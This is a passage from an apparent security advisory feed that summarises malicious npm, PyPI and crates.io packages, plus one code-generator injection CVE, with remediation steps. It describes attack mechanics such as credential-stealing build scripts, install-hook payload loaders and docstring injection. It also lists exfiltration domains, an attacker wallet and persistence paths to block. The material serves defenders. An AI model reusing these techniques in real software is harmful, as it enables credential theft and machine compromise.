lockfiles and CI caches for agui-session-recorder and block/reinstall from trusted sources; Review access logs and network traffic for signs of exfiltration or attacker persistence; Notify security teams of any systems where the package ran in production ### [critical] period-newline (npm): malicious package compromises any machine where it is installed; no safe version exists https://helix.ml/threat-watch/i/period-newline-npm-malicious-package-compromises-any-machine-where-it-is-installed-no-safe-version-exists · Supply chain · no-fix-needed · since 2026-11-10 GitHub published advisory GHSA-39vr-m6q2-vq5c on 2026-11-10 flagging the npm package period-newline as malware (CWE-506, embedded malicious code). Every version (>= 0) is affected and no patched version exists. The advisory states any computer with the package installed or running should be considered fully compromised, with full control potentially handed to an outside entity; all secrets and keys on affected machines must be rotated. Removal of the package does not guarantee removal of the malicious software. All npm users who installed period-newline are affected; the remediation is full incident response, not a version upgrade. Do: Treat any machine with period-newline installed as fully compromised; isolate and rebuild from clean images; Rotate all secrets, keys, and credentials stored on or accessible from affected machines, from a different computer; Remove the package from all projects, lockfiles, and CI pipelines and audit for persistence mechanisms; Review npm dependency trees and CI logs for other installs of the package and any post-install activity; Block the package name in internal registries and dependency scanning ### [critical] Malicious npm package mcp-contract-tester compromises installers' machines https://helix.ml/threat-watch/i/malicious-npm-package-mcp-contract-tester-compromises-installers-machines · Supply chain · no-fix-needed · since 2026-11-10 GitHub published a malware advisory (GHSA-34p7-qcxm-gc39) for the npm package mcp-contract-tester, flagged as embedded malicious code (CWE-506). All versions (>= 0) are affected and no patched versions exist. Any computer with the package installed or running should be considered fully compromised, with the attacker potentially having full control of the machine; secrets and keys stored on affected systems are at risk. The advisory recommends removing the package but warns removal may not eliminate all malicious software. The package has no known source code repository. Discovered and published 2026-11-10. Do: Rotate all secrets and keys stored on any machine where mcp-contract-tester was installed, using a clean computer; Remove the package and rebuild/reimage affected machines, as removal may not eliminate all malicious software; Audit npm lockfiles and CI environments for the package and review for signs of compromise; Block the package in dependency management and monitor for related typosquat packages ### [critical] Malware in @web3-common/utils npm package — full machine compromise on install (no CVE) https://helix.ml/threat-watch/i/malware-in-web3-common-utils-npm-package-full-machine-compromise-on-install-no-cve · Supply chain · no-fix-needed · since 2026-11-10 GitHub's advisory database published a malware advisory (GHSA-253f-9v83-pw5c) for the npm package @web3-common/utils version 1.0.0, classified as CWE-506 embedded malicious code. The advisory states any computer with the package installed or running should be considered fully compromised, with attackers potentially gaining full control, and recommends rotating all secrets and keys from a separate machine. The package has no fixed versions and no known source code, so removal is the only remediation and cannot guarantee the malicious software is gone. Reach appears limited (~34 downloads/month), but any environment that installed it is assumed compromised. No CVE is assigned; the package should be removed and affected machines rebuilt. Do: Remove @web3-common/utils@1.0.0 from all projects and lockfiles; Rotate all secrets, keys, and credentials stored on machines where it was installed, using a clean computer; Rebuild or reimage affected machines; do not assume removal fully cleans the system; Audit npm dependency trees and CI caches for the package and block it in registry policy ### [critical] Malicious npm package fapshi 1.1.4 — full system compromise; no patched version exists https://helix.ml/threat-watch/i/malicious-npm-package-fapshi-1-1-4-full-system-compromise-no-patched-version-exists · Supply chain · no-fix-needed · since 2026-11-10 GitHub published a malware advisory (GHSA-frmh-w7mm-6h56) on 2026-11-10 for the npm package fapshi, version 1.1.4, classified under CWE-506 Embedded Malicious Code. Any machine with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity. No patched version exists, so the only remediation is removal of the package plus incident response. The package sees roughly 103 downloads per month, so exposure is limited but real. Secrets and keys on affected machines must be treated as stolen and rotated from a clean computer, since removing the package cannot guarantee removal of all malicious software it may have deployed. Do: Treat any machine with fapshi 1.1.4 installed as fully compromised; isolate it; Rotate all secrets, keys, and credentials stored on or accessible from affected machines, from a clean computer; Remove the fapshi package and rebuild/reimage affected systems rather than trusting cleanup; Audit dependency lockfiles and CI environments for fapshi and block its installation; Review logs and network traffic for signs of exfiltration or attacker access ### [critical] @erlanzz/baileys npm package — malicious code compromises any machine where it is installed https://helix.ml/threat-watch/i/erlanzz-baileys-npm-package-malicious-code-compromises-any-machine-where-it-is-installed · Supply chain · no-fix-needed · since 2026-11-10 GitHub's malware advisory database published GHSA-f8j3-x796-h5cm on 2026-11-10 flagging the npm package @erlanzz/baileys as containing embedded malicious code (CWE-506). All published versions (>= 0) are affected and no patched version exists. The advisory states that any computer with the package installed or running should be considered fully compromised, with full control potentially handed to an outside entity. Anyone who installed the package — likely developers seeking a WhatsApp/Baileys-style library — is affected. Removal of the package alone is not guaranteed to remove the malicious software. No CVE; treated as malware in the npm supply chain. Do: Immediately rotate all secrets, keys, tokens and credentials stored on any machine where @erlanzz/baileys was installed, using a clean machine; Isolate and rebuild any machine or CI environment where the package was installed; do not trust removal of the package alone; Audit npm lockfiles and dependency trees for @erlanzz/baileys and block/remove it from all projects and caches; Review access logs and network traffic from affected hosts for signs of attacker control or exfiltration; Revoke and reissue npm, git and cloud credentials that may have been accessible from compromised hosts ### [critical] fragment-api-py 14.4.2 backdoor: PyPI TON wallet drainer steals seed-wallet funds on client startup https://helix.ml/threat-watch/i/fragment-api-py-14-4-2-backdoor-pypi-ton-wallet-drainer-steals-seed-wallet-funds-on-client-startup · Supply chain · no-fix-needed · since 2026-11-10 Version 14.4.2 of fragment-api-py, a Python client for Telegram's Fragment marketplace that holds users' TON wallet seeds, was published to PyPI on 2026-11-08 with a backdoor. The release is the older 13.0.0 code with a hidden sweep_wallet_to_self() function that, on client startup (async with FragmentClient(seed=...)) or on execute_prepared(), sends all USDT and nearly all TON to attacker wallet UQAolfC7fyf__0H-1GzG9y5ZtV2CPC7yDno4W2cSVuYlJ6DU, leaving only fee reserves. Two wallets lost 0.88 and 43.98 TON; funds were cashed out on 2026-11-10. The release has no git tag, suggesting a compromised maintainer machine, stolen PyPI token, or insider. No clean fix exists; users must remove the package and treat seeds as compromised. Do: Immediately uninstall fragment-api-py 14.4.2 and pin to a known-good version (e.g. 14.4.1) or remove entirely; Assume any wallet seed used with the package is compromised; move remaining TON/USDT to a new wallet with a fresh seed; Search site-packages for the attacker address UQAolfC7fyf__0H-1GzG9y5ZtV2CPC7yDno4W2cSVuYlJ6DU or 'sweep_wallet_to_self' strings; Check wallet transaction history for transfers to the attacker address and report losses; Run a dependency scan (e.g. vet) across manifests and lockfiles for known malicious packages ### [critical] @zanxiky/baileys (npm): trojanized Baileys fork silently subscribes victims to attacker WhatsApp channels https://helix.ml/threat-watch/i/zanxiky-baileys-npm-trojanized-baileys-fork-silently-subscribes-victims-to-attacker-whatsapp-channels · Supply chain · no-fix-needed · since 2026-11-10 GitHub Advisory Database (GHSA-43rp-v8rh-9333, credited to OpenSSF's malicious-packages database) flags the npm package @zanxiky/baileys as malware. It is a trojanized fork of the legitimate Baileys WhatsApp library (@whiskeysockets/baileys). On connection it issues an authenticated w:mex newsletter FOLLOW mutation (query_id 7871414976211147) that silently subscribes every victim to attacker-controlled WhatsApp channels with hardcoded JIDs 120363399602691477@newsletter and 120363421563597486@newsletter. Legitimate Baileys never hardcodes channel JIDs or auto-follows on connect. All published versions (>0, =0.0.0-stage, =1.1.0) are malicious and there are no fixed versions. Detected via wormsign static analysis. Anyone who installed the package is affected; the fix is removal and use of the legitimate library. Do: Remove @zanxiky/baileys from all projects and lockfiles immediately; do not use any version; Audit WhatsApp sessions/connections created while the package was installed and unlink unfamiliar sessions; Replace with the legitimate @whiskeysockets/baileys from a verified source; Check whether any attacker-controlled channels were followed on connected accounts and unfollow them; Review CI/CD and dependency resolution to ensure the package cannot be reintroduced ### [critical] lwd_uri_util (crates.io): malicious build.rs steals env credentials from release/publishing workstations (no CVE) https://helix.ml/threat-watch/i/lwd-uri-util-crates-io-malicious-build-rs-steals-env-credentials-from-release-publishing-workstations-no-cve · Supply chain · no-fix-needed · since 2026-11-10 The crates.io crate lwd_uri_util, advertised as a URI canonicalization utility, contains malicious code in build.rs across all published versions (0.1.0–0.1.4). The lib.rs is benign string manipulation, but build.rs runs on every cargo build/check/IDE load, dumps the full process environment plus hostname and username to JSON, and POSTs it via curl (Unix) or hidden PowerShell (Windows) to three base64-obfuscated endpoints including webhook.site and a Cloudflare Worker tied to the author's handle. Gating markers (FASTLANE_, APPLE_ID, KEYSTORE_, CODE_SIGN, etc.) target release/signing workstations while suppressing CI usernames, aiming to capture CARGO_REGISTRY_TOKEN, GITHUB_TOKEN, AWS_* credentials and signing material. No patched version exists; the crate should be treated as compromised and removed. Do: Remove lwd_uri_util from all dependency trees and purge Cargo.lock references; Rotate CARGO_REGISTRY_TOKEN, GITHUB_TOKEN, AWS and signing/keystore credentials on any machine that built the crate; Audit build machines for signs of exfiltration and re-secure release/publishing environments; Block the exfiltration domains (api.sdklfghaljksdhfkjasdfhlasdhfjklasdf.xyz, webhook.site/0a60608b-63de-480c-a441-38a8d107a9ea, session-check.sapho11.workers.dev); Pin and review build.rs scripts of third-party crates before building ### [critical] Malware in futrou npm package — full machine compromise for users of version 2.0.40 https://helix.ml/threat-watch/i/malware-in-futrou-npm-package-full-machine-compromise-for-users-of-version-2-0-40 · Supply chain · no-fix-needed · since 2026-11-10 GitHub's malware advisory database flagged the npm package futrou, version 2.0.40, as containing embedded malicious code (CWE-506). Per the advisory, any computer with the package installed or running should be considered fully compromised, with full control potentially handed to an outside entity. No patched version exists; the package has no known source code repository. The package sees roughly 1,270 downloads per month, so exposure is limited but real. Removal of the package alone is not guaranteed to remove all malicious software installed as a result. Users should treat all secrets and keys on affected machines as stolen and rotate them from a clean machine. Do: Remove futrou 2.0.40 from all systems and rebuild affected machines from trusted images; Rotate all secrets, keys, and credentials stored on machines where the package was installed, using a different clean computer; Audit systems for persistence mechanisms and other malicious software left behind after removal; Check dependency trees and CI/CD environments for futrou usage and block the package ### [critical] Malicious npm packages: moltbook-api-helper, moltbook-health, nodecheck-health, npm-scanner — full compromise of installed hosts https://helix.ml/threat-watch/i/malicious-npm-packages-moltbook-api-helper-moltbook-health-nodecheck-health-npm-scanner-full-compromise-of-installed-hos · Supply chain · no-fix-needed · since 2026-11-10 On 2026-11-10 GitHub published four malware advisories for npm packages moltbook-api-helper (GHSA-pgm4-9gwv-4gcr), moltbook-health (GHSA-fpfc-cq2r-8r2c), nodecheck-health (GHSA-x2vv-xjjr-m8c6) and npm-scanner (GHSA-pc5x-m587-83hh). All versions (>= 0) are affected and no patched versions exist; the packages contain embedded malicious code (CWE-506). GitHub states any computer with these packages installed or running should be considered fully compromised, giving an outside entity full control — meaning secrets and keys on affected machines are at risk and removal of the package does not guarantee removal of malicious software. moltbook-api-helper shows ~574 downloads/month; the others' download counts are unstated. There is no fix; remediation is removal plus credential rotation and host forensics/rebuild. Do: Immediately stop using and uninstall the four packages from all systems; Rotate all secrets, keys, tokens and credentials stored on or accessible from affected machines, from a clean computer; Rebuild or thoroughly forensically clean affected hosts, as removal may not eliminate implanted malware; Audit dependency lockfiles and CI environments for these packages and block them in registries/proxies; Review logs for signs of exfiltration or unauthorized access ### [critical] Malicious npm ebook packages: dowload_ebok_* typosquat malware — full machine compromise, no patched versions https://helix.ml/threat-watch/i/malicious-npm-ebook-packages-dowload-ebok-typosquat-malware-full-machine-compromise-no-patched-versions · Supply chain · no-fix-needed · since 2026-11-10 On 2026-11-10 GitHub published four malware advisories (GHSA-vr7m-h5f3-65qm, GHSA-h2q6-5m77-v63m, GHSA-246r-hxmh-2gmm, GHSA-p8fx-34wr-82fg) for npm packages posing as ebook downloads of works by Pope Francis, James Joyce, Giorgio Serafini Prosperi and Holger Karsten Schmidt. All versions (>=0) contain embedded malicious code (CWE-506) with no patched versions; GitHub states any machine with the package installed or running should be considered fully compromised, implying attacker control and access to secrets and keys. Download volumes are low (2-4 per month), suggesting a broad typosquat-style campaign rather than a targeted breach. Removal of the package does not guarantee removal of the malware. Do: If any of these packages were installed, treat the machine as fully compromised: rotate all secrets, keys, tokens and credentials from a clean computer; Rebuild or wipe affected machines rather than just uninstalling the package; Audit dependency trees and CI/CD environments for these or similar dowload_ebok_* package names; Block the package names in npm registries/proxies and monitor for related typosquat uploads; Review npm install logs to determine exposure window and what credentials may have been accessible ### [critical] Malicious npm package @fmr-ap149494/apex-base-component — full system compromise on install https://helix.ml/threat-watch/i/malicious-npm-package-fmr-ap149494-apex-base-component-full-system-compromise-on-install · Supply chain · no-fix-needed · since 2026-11-10 GitHub's malware advisory database flagged the npm package @fmr-ap149494/apex-base-component as embedded malicious code (CWE-506), published 2026-11-10. All versions (>= 0) are affected and no patched version exists; the package should not be used at all. Per the advisory, any computer where the package was installed or run should be considered fully compromised, implying the malware grants outside attackers control of the machine, exposing secrets, keys and credentials. Anyone who installed the package as a dependency is affected. There is no fix beyond removal; remediation requires rotating all secrets from a clean machine and forensic review, since removal of the package cannot guarantee removal of all malicious software it deployed. Do: Rotate all secrets, keys and credentials stored on any machine where the package was installed, using a different clean computer; Remove the package from all projects and lockfiles and block/audit for it in npm dependencies; Rebuild affected machines or perform forensic cleanup, as removal may not eliminate all malicious software; Review CI/CD and developer environments for compromise and audit access logs ### [critical] @factoryz/apollo npm package is malware — full machine compromise on install https://helix.ml/threat-watch/i/factoryz-apollo-npm-package-is-malware-full-machine-compromise-on-install · Supply chain · no-fix-needed · since 2026-11-10 GitHub's malware advisory database (GHSA-7q6h-g3hp-prq6, published 2026-11-10) flags the npm package @factoryz/apollo as containing embedded malicious code (CWE-506). All published versions (>= 0) are affected and there are no patched versions — the package itself is the attack. GitHub warns that any computer with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity, and that removal of the package does not guarantee removal of all malicious software it deployed. Any developer or CI environment that installed the package is affected; secrets and keys stored on those machines are at risk. No fix exists; remediation is removal plus incident response. Do: Treat any machine where @factoryz/apollo was installed or run as fully compromised; rotate all secrets and keys from a clean machine; Remove the package and rebuild/reimage affected hosts and CI runners; Audit logs and network traffic for signs of attacker access or exfiltration; Block/avoid the package in npm installs and lockfiles; check dependency trees for it ### [critical] @fcsmc/commercial-analytics npm package is malware — full machine compromise on install https://helix.ml/threat-watch/i/fcsmc-commercial-analytics-npm-package-is-malware-full-machine-compromise-on-install · Supply chain · no-fix-needed · since 2026-11-10 GitHub's malware advisory database has flagged the npm package @fcsmc/commercial-analytics as containing embedded malicious code (CWE-506). All published versions (>= 0) are affected and there are no patched versions — the package itself is the attack. GitHub's guidance states that any computer with the package installed or running should be considered fully compromised, implying the malware grants outside actors full control of the machine, enabling theft of secrets, keys and credentials. No source code repository is known. Any developer or CI environment that installed the package is affected; removal of the package alone cannot be assumed to remove the malicious software. Do: Rotate all secrets, keys and credentials stored on any machine where the package was installed, using a different, clean computer; Remove the package and rebuild/reimage affected machines from trusted images; do not assume removal fully cleans the system; Audit npm lockfiles and CI logs for any use of @fcsmc/commercial-analytics and block the package; Review access logs and cloud accounts for signs of compromise since installation; Notify security teams and rotate tokens exposed in developer or CI environments ### [critical] Malicious npm package @fmr-ap153177/apex-kit-icons — full system compromise on install https://helix.ml/threat-watch/i/malicious-npm-package-fmr-ap153177-apex-kit-icons-full-system-compromise-on-install · Supply chain · no-fix-needed · since 2026-11-10 GitHub's malware advisory database flagged the npm package @fmr-ap153177/apex-kit-icons as containing embedded malicious code (CWE-506). Every published version (>= 0) is affected and no patched version exists, so any installation grants the attacker full control of the machine. GitHub's guidance states computers with the package installed or running should be considered fully compromised, implying secrets and keys on those machines are exposed. The package sees roughly 852 downloads per month. The advisory was published, reviewed and last updated on 2026-11-10. Removal of the package alone is not guaranteed to eliminate the malicious software it installed. Organisations using this scope should treat affected build machines and developer workstations as breached and rotate all credentials from a clean machine. Do: Remove @fmr-ap153177/apex-kit-icons from all projects and lockfiles; Rotate all secrets, keys and credentials stored on machines where it was installed, from a clean computer; Reimage or rebuild affected developer workstations and CI machines; Audit npm dependencies and block the @fmr-ap153177 scope; Review logs and endpoints for signs of compromise ### [critical] Malicious npm package @futurae-public/adaptive-js — full system compromise on install https://helix.ml/threat-watch/i/malicious-npm-package-futurae-public-adaptive-js-full-system-compromise-on-install · Supply chain · no-fix-needed · since 2026-11-10 GitHub published advisory GHSA-xcfm-cvqm-rcwc on 2026-11-10 flagging the npm package @futurae-public/adaptive-js as malware (CWE-506, Embedded Malicious Code). All versions (>= 0) are affected and no patched version exists. The advisory states that any computer with the package installed or running should be considered fully compromised, implying the malicious code grants outside actors full control of the machine, exposing secrets, keys and credentials. Any developer or CI environment that installed the package is affected. There is no fix; remediation consists of removing the package and rotating all secrets from a clean machine, as removal alone cannot guarantee the malware is eradicated. Do: Treat any machine where the package was installed or executed as fully compromised; rebuild from clean images; Rotate all secrets, keys, tokens and credentials stored on affected machines, using a different clean computer; Remove the package from all projects, lockfiles and CI pipelines and block it from being installed again; Audit logs and network traffic for signs of exfiltration or attacker access; Investigate for persistence mechanisms and residual malicious software before restoring trust in the systems ### [critical] Malicious npm package @generic-means/ing-feat-scanner-libs — full system compromise on install https://helix.ml/threat-watch/i/malicious-npm-package-generic-means-ing-feat-scanner-libs-full-system-compromise-on-install · Supply chain · no-fix-needed · since 2026-11-10 GitHub's advisory database published a malware advisory (GHSA-77gv-vj6m-6qg6) for the npm package @generic-means/ing-feat-scanner-libs, flagged as CWE-506 embedded malicious code. All published versions (>= 0) are affected and no patched version exists. The advisory warns that any computer with the package installed or running should be considered fully compromised, implying the malware grants outside actors full control of the machine. Secrets and keys stored on affected machines are at risk and must be rotated. There is no indication of a specific victim organisation; impact depends on who installed the package. Removal of the package alone is not guaranteed to eliminate the malicious software. No fix is available; the only remediation is removal plus host forensics and credential rotation. Do: Remove @generic-means/ing-feat-scanner-libs from all projects and dependency trees immediately; Treat affected machines as fully compromised: rotate all secrets, keys, and credentials from a clean computer; Rebuild or reimage affected hosts; do not assume package removal removes the malware; Audit npm lockfiles and CI caches for the package and block it in dependency scanning; Review access and activity logs for signs of attacker control ### [critical] @jm-telefonica/multibrand-components npm package contains malware — full machine compromise https://helix.ml/threat-watch/i/jm-telefonica-multibrand-components-npm-package-contains-malware-full-machine-compromise · Supply chain · no-fix-needed · since 2026-11-10 GitHub's malware advisory database flagged the npm package @jm-telefonica/multibrand-components as containing embedded malicious code (CWE-506), published 2026-11-10. Every published version (>= 0) is affected and no patched version exists, so any installation should be treated as a deliberate compromise rather than a vulnerable dependency. The advisory warns that any computer with the package installed or running should be considered fully compromised, with attackers potentially holding full remote control, and that removing the package cannot guarantee removal of all malicious software it deployed. Reach appears limited (~814 downloads/month), but anyone who installed it is exposed to secret and key theft. There is no fix; remediation is removal plus credential rotation and host forensics. Do: Rotate all secrets, keys, and credentials stored on or accessible from any machine where the package was installed, using a clean machine; Remove the package from all projects and lockfiles and audit for persistence mechanisms it may have deployed; Rebuild/reimage affected machines and review access logs for signs of attacker activity; Audit CI/CD environments and dependency caches for the package and block it in registry allowlists ### [critical] Malicious npm package @postex/common — full system compromise on install https://helix.ml/threat-watch/i/malicious-npm-package-postex-common-full-system-compromise-on-install · Supply chain · no-fix-needed · since 2026-11-10 GitHub Advisory Database entry GHSA-fq53-vhhm-rqf7, published 2026-11-10, identifies the npm package @postex/common as malware. All versions (>= 0) are affected and no patched version exists. The advisory states that any computer with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity; secrets and keys on affected machines must be rotated. Weakness is classified as CWE-506 (Embedded Malicious Code). No source code repository is known. Any developer or CI environment that installed the package is affected; removal of the package alone does not guarantee removal of malicious software it may have deployed. Do: Rotate all secrets, keys, and credentials stored on machines where @postex/common was installed, using a clean computer; Remove the package and rebuild/reimage affected machines, as removal may not eliminate all malicious software; Audit dependency lockfiles and CI pipelines for any use of @postex/common and block the package; Review logs and network traffic for signs of compromise or exfiltration from affected hosts ### [critical] leveldb-edit (npm): malicious package compromises any machine where installed; no safe version exists https://helix.ml/threat-watch/i/leveldb-edit-npm-malicious-package-compromises-any-machine-where-installed-no-safe-version-exists · Supply chain · no-fix-needed · since 2026-11-10 GitHub published a malware advisory (GHSA-86wj-q33p-q8r9) for the npm package leveldb-edit, classifying it as embedded malicious code (CWE-506). All versions (>= 0) are affected and no patched version exists. The advisory states that any computer with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity; removing the package does not guarantee removal of malicious software. The package is low-reach (~100 downloads/month, 8 GitHub stars) but any installation is treated as a successful compromise. Remediation requires removing the package and rotating all secrets and keys from a clean machine. Do: Treat any machine with leveldb-edit installed as fully compromised; isolate and rebuild it; Rotate all secrets, keys, and credentials stored on or accessible from affected machines, from a different clean computer; Remove the package from dependencies and lockfiles; audit installs for persistence beyond the package itself; Check CI/CD and developer environments for the package and any post-install execution artifacts; Block leveldb-edit in npm installs and monitor for typosquatted variants ### [critical] @openyard/vetcode npm package — malicious code in versions 0.3.0 and 0.3.1 fully compromises installed machines (no CVE) https://helix.ml/threat-watch/i/openyard-vetcode-npm-package-malicious-code-in-versions-0-3-0-and-0-3-1-fully-compromises-installed-machines-no-cve · Supply chain · no-fix-needed · since 2026-11-10 GitHub's advisory database published a malware advisory (GHSA-gq67-8gph-p33v) for the npm package @openyard/vetcode, flagging versions 0.3.0 and 0.3.1 as containing embedded malicious code (CWE-506). Per the advisory, any computer with the package installed or running should be considered fully compromised, with attackers potentially having full remote control. No patched versions exist; the package has no known source code and improvements are not accepted on the advisory. All users of these versions are affected. Removal of the package alone is not guaranteed to eliminate malicious software planted during installation. Secrets and keys on affected machines must be rotated immediately from a clean computer. Do: Immediately rotate all secrets, keys, and credentials stored on machines where @openyard/vetcode 0.3.0 or 0.3.1 was installed, using a different clean computer; Remove the package from all projects and lockfiles and audit for persistence mechanisms, as removal may not eliminate all malicious software; Rebuild or wipe affected machines and CI environments; Audit npm dependency trees for the package and block it in dependency firewalls/registries; Review logs and network traffic for signs of exfiltration or attacker access ### [critical] npm malware: @conduitops/logview-archive — malicious package fully compromises installed machines (no CVE) https://helix.ml/threat-watch/i/npm-malware-conduitops-logview-archive-malicious-package-fully-compromises-installed-machines-no-cve · Supply chain · no-fix-needed · since 2026-11-10 GitHub's malware advisory database has flagged the npm package @conduitops/logview-archive as embedded malicious code (CWE-506). All published versions (>= 0) are affected and there are no patched versions — the package itself is the malware. GitHub warns that any computer with the package installed or running should be considered fully compromised, meaning attackers may have obtained full control, including access to secrets, keys and credentials stored on the machine, and that removal of the package does not guarantee removal of all malicious software it may have deployed. Any developer or CI environment that installed the package is affected. No fix exists; remediation is removal plus full compromise response. Do: Rotate all secrets, keys, tokens and credentials stored on any machine where the package was installed, using a clean machine; Rebuild or wipe affected machines and CI runners rather than just uninstalling the package; Audit systems for signs of persistence or attacker access following the compromise; Remove @conduitops/logview-archive from all projects, lockfiles and dependency caches; Block the package in npm/CI policy checks and review how it entered the dependency tree ### [critical] fastapi-code-generator: RCE via unescaped operation summary in generated handler docstring (CVE-2026-63470) https://helix.ml/threat-watch/i/fastapi-code-generator-rce-via-unescaped-operation-summary-in-generated-handler-docstring-cve-2026-63470 · Supply chain · patched · since 2026-07-01 · CVE-2026-63470 fastapi-code-generator, which turns an OpenAPI file into a FastAPI application, copies each operation's summary into the generated route handler's docstring without escaping triple double quotes. A summary containing three double quotes can close that docstring early and continue the handler's first statement with an arbitrary Python expression, which runs every time the route is called. The generator does not execute the injected code. Exposure requires that someone other than the app's developers can influence the spec the generator reads: a third-party or remotely fetched spec, a service that builds apps from uploaded specs, or a spec change that is regenerated and deployed unreviewed. A proof of concept is attached to the advisory; no in-the-wild exploitation is reported, the CVE is not in CISA KEV, and EPSS is 0.005. The fix is in 0.8.1 (released 2026-07-01), which escapes the summary for the docstring context. Apps generated with 0.8.0 or earlier should be regenerated with 0.8.1 and their handler docstrings checked for injected expressions. Fixed: fastapi-code-generator 0.8.1 Do: Upgrade fastapi-code-generator to 0.8.1 and regenerate all FastAPI apps from your specs; Audit already-generated code for suspicious concatenated expressions in handler docstrings, especially where summaries came from third-party specs; Restrict which parties can supply or influence OpenAPI specs used for code generation; Add CI checks flagging """ sequences or __import__ calls in generated handler docstrings ### [critical] price-scripping-js (npm): malicious package compromises any machine where it is installed (no CVE) https://helix.ml/threat-watch/i/price-scripping-js-npm-malicious-package-compromises-any-machine-where-it-is-installed-no-cve · Supply chain · no-fix-needed · since 2026-11-09 GitHub published a malware advisory (GHSA-54cm-q9wq-9442) for the npm package price-scripping-js, classified under CWE-506 Embedded Malicious Code. Every version (>= 0) is affected and no patched version exists; the package has been removed from legitimate use and should be treated as fully compromising any machine where it is installed or running. Attackers gain full control of the host, exposing all secrets and keys stored on it. Reach is limited (~324 downloads/month), but any installation is assumed compromised. There is no fix — remediation consists of removing the package, rotating all credentials from a clean machine, and rebuilding/reimaging affected systems, since removal cannot guarantee all malicious software is eliminated. Do: Rotate all secrets, keys, and credentials stored on affected machines immediately, using a different, clean computer; Remove price-scripping-js from all projects and dependency trees; Reimage or rebuild affected machines; do not assume removal of the package eliminates the malware; Audit systems for signs of compromise and review access logs; Block the package in dependency firewalls/allowlists and scan builds for it ### [critical] npm typosquat malware wave: charape, @bestcoolman/dev-mcp, polymarket-stake-mathss, js-price-client-node — malicious packages fully compromise hosts https://helix.ml/threat-watch/i/npm-typosquat-malware-wave-charape-bestcoolman-dev-mcp-polymarket-stake-mathss-js-price-client-node-malicious-packages-f · Supply chain · no-fix-needed · since 2026-11-09 On 2026-11-09 GitHub published four malware advisories for npm packages: charape, @bestcoolman/dev-mcp (~152 downloads/month), polymarket-stake-mathss (~929 downloads/month), and js-price-client-node (~276 downloads/month). Each is classified as embedded malicious code (CWE-506) affecting all versions (>= 0) with no patched versions, meaning the packages cannot be safely used at any release. Per the advisories, any computer with these packages installed or running should be considered fully compromised, with attackers potentially gaining full control and access to secrets and keys; removal of the package does not guarantee removal of the malicious software. No CVEs were assigned. Users of these packages should treat hosts as compromised and rotate credentials immediately. Do: Stop using and remove the four packages from all projects and lockfiles; Rotate all secrets, API keys, tokens and credentials stored on affected machines, from a clean computer; Rebuild/reimage compromised machines; audit for persistence since removal may not eliminate malware; Review CI/CD and developer environments for exposure and audit npm dependency trees for related typosquats ### [critical] npm malware wave: archetype-index-sdk, file-saver-bg, react-bootstrap-table2-toolkit-bg, react-bootstrap-table-next-bg — full machine compromise https://helix.ml/threat-watch/i/npm-malware-wave-archetype-index-sdk-file-saver-bg-react-bootstrap-table2-toolkit-bg-react-bootstrap-table-next-bg-full · Supply chain · no-fix-needed · since 2026-11-09 On 2026-11-09 GitHub published four malware advisories for npm packages: archetype-index-sdk (versions 0.0.0-stage and 1.0.0), file-saver-bg (all versions, ~460 downloads/month), react-bootstrap-table2-toolkit-bg (all versions, ~414 downloads/month), and react-bootstrap-table-next-bg (all versions). All are classified CWE-506 embedded malicious code with no patched versions; GitHub's guidance states any computer with the packages installed or running should be considered fully compromised, implying active credential theft by an outside party. The packages appear to be typosquat-style clones of legitimate libraries (file-saver, react-bootstrap-table2 toolkit/next) with a '-bg' suffix. No fixed versions exist; removal is the only remediation, and it may not remove all malicious software. Do: Check lockfiles and installed node_modules for these four package names and remove them immediately; Rotate all secrets, keys, tokens and credentials stored on or accessible from affected machines, from a clean computer; Rebuild affected machines or containers from trusted images rather than trusting cleanup; Audit npm CI/CD and developer machines for unexpected installs and review registry dependency resolution/typosquat protections; Monitor for anomalous network activity and credential use following removal ### [critical] @ethersphere/bee-js 13.3.0: malicious npm release steals Swarm wallet files and plants persistence https://helix.ml/threat-watch/i/ethersphere-bee-js-13-3-0-npm-supply-chain-compromise-wallet-theft-and-persistence-via-stolen-release-identity · Supply chain · no-fix-needed · since 2026-11-09 On 2026-11-09 at 00:09:50 UTC a malicious 13.3.0 of @ethersphere/bee-js, the ethersphere JavaScript client for Ethereum Swarm, was published to npm. StepSecurity traces it to an unsigned commit pushed the previous day at 23:59:54 UTC under the bee-worker release identity, which moved a version script from prepare to postinstall; the published package still carried valid SLSA provenance because the legitimate release workflow built that source. At install time the hook requests a platform-specific JavaScript payload from api.frameworkmetrics[.]xyz and runs it through the Function constructor. The Linux and macOS payloads look for config.yaml and data-dir/keys/swarm.key in the Swarm Desktop data directory and install a user service or LaunchAgent disguised as Solidity tooling; the Windows path stages an MSI in a hidden %LOCALAPPDATA% directory and adds a Microsoft Defender exclusion for it. GitHub lists GHSA-hh7j-5m3j-23pf as critical with no fixed version. At research time the npm registry no longer lists 13.3.0 and its latest tag points at 13.2.0, whose registry metadata has no install hook; the writeup does not say whether npm removed the version. Anyone who installed 13.3.0 with lifecycle scripts enabled should treat the machine as fully compromised and rotate wallet and other secrets from a clean system. @ethersphere/swarm-cli 3.7.0 and @ethersphere/bee-dashboard 0.37.1 depend on ranges that would have resolved to 13.3.0 on a fresh install while it was latest; no source says they contain injected code. Do: Do not install @ethersphere/bee-js 13.3.0; pin to 13.2.0 or a safe version and audit dependency ranges that could resolve to 13.3.0; If 13.3.0 was installed with lifecycle scripts enabled, treat the host as fully compromised: rotate all secrets and keys from a clean machine; Check for and remove persistence: ~/.solidity/ payloads and .run.py or .run.cjs launchers; ~/.config/systemd/user/solidity-langsupport-runner.service (Linux); ~/Library/LaunchAgents/com.solidity.langsupport.runner.plist (macOS); ScreenConnect-named installs, hidden %LOCALAPPDATA% directories named with a GUID, and Defender exclusions (Windows); Hash-check any ~/.solidity/linux_amd64 or linux_arm64 file against SHA-256 9b73e7cd4e1425e770392549d8df46c706139ef476f4f7b9ac405165dc8d9696 and b601776817363b96295119f7221338a122d5247a35a77a64b04f286e1bbcc565 (values published by StepSecurity); Check Swarm Desktop data directory for accessed config.yaml and data-dir/keys/swarm.key; assume wallet keys compromised and move funds/rotate wallet credentials; Block api.frameworkmetrics[.]xyz at network egress and hunt for connections to it, including the paths /v1/analytics, /v1/assets/ and /v1/swarm/report; Check lockfiles and dependency trees for @ethersphere/swarm-cli 3.7.0 (depends on ^13.2.0) and @ethersphere/bee-dashboard 0.37.1 (depends on ^13.0.0), which would have resolved to 13.3.0 on a fresh install while it was latest; Reinstall affected systems from trusted images rather than only uninstalling the 